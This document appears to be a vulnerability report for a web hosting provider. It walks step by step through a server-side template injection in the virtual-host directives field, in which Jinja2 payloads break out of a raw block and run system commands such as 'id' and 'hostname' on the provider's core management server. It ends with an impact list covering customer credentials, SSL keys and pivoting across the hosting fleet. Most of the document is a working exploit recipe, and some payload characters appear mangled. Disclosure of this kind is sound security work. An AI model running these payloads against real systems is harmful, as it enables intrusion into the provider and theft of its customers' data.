Security vulnerabilities

The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.

Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)

Step 2 — Go to Web → Sites → click the edit icon on your site

Step 3 — Scroll to "Additional directives of the virtual host" and enter:

# {% endraw %}7_7{% raw %}

Step 4 — Click Submit

Step 5 — SSH into your account:

ssh <account>@ssh-<account>.alwaysdata.net

Step 6 — Read the generated config:

cat ~/admin/config/apache/sites.conf | head -30

Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)

Step 8 — Go back to site edit, replace the payload with:

# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}

Step 9 — Submit, then SSH and read the config again. Observe:

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This is the id command output — RCE confirmed.

Step 10 — Replace payload with:

# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}

Step 11 — Submit, SSH, read config. Observe:

# overlord-core

This is the internal hostname of alwaysdata's core management server.

—

Payload Output Proof

7_7 49 SSTI — math evaluated

id uid=33(www-data) RCE — system command executed

hostname overlord-core You're on their core management server

—

This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:

- Read/write files on the core infrastructure server
- Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys
- Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes
- Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and
support tickets
- Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet

Any user with a free account can exploit this. No special privileges required.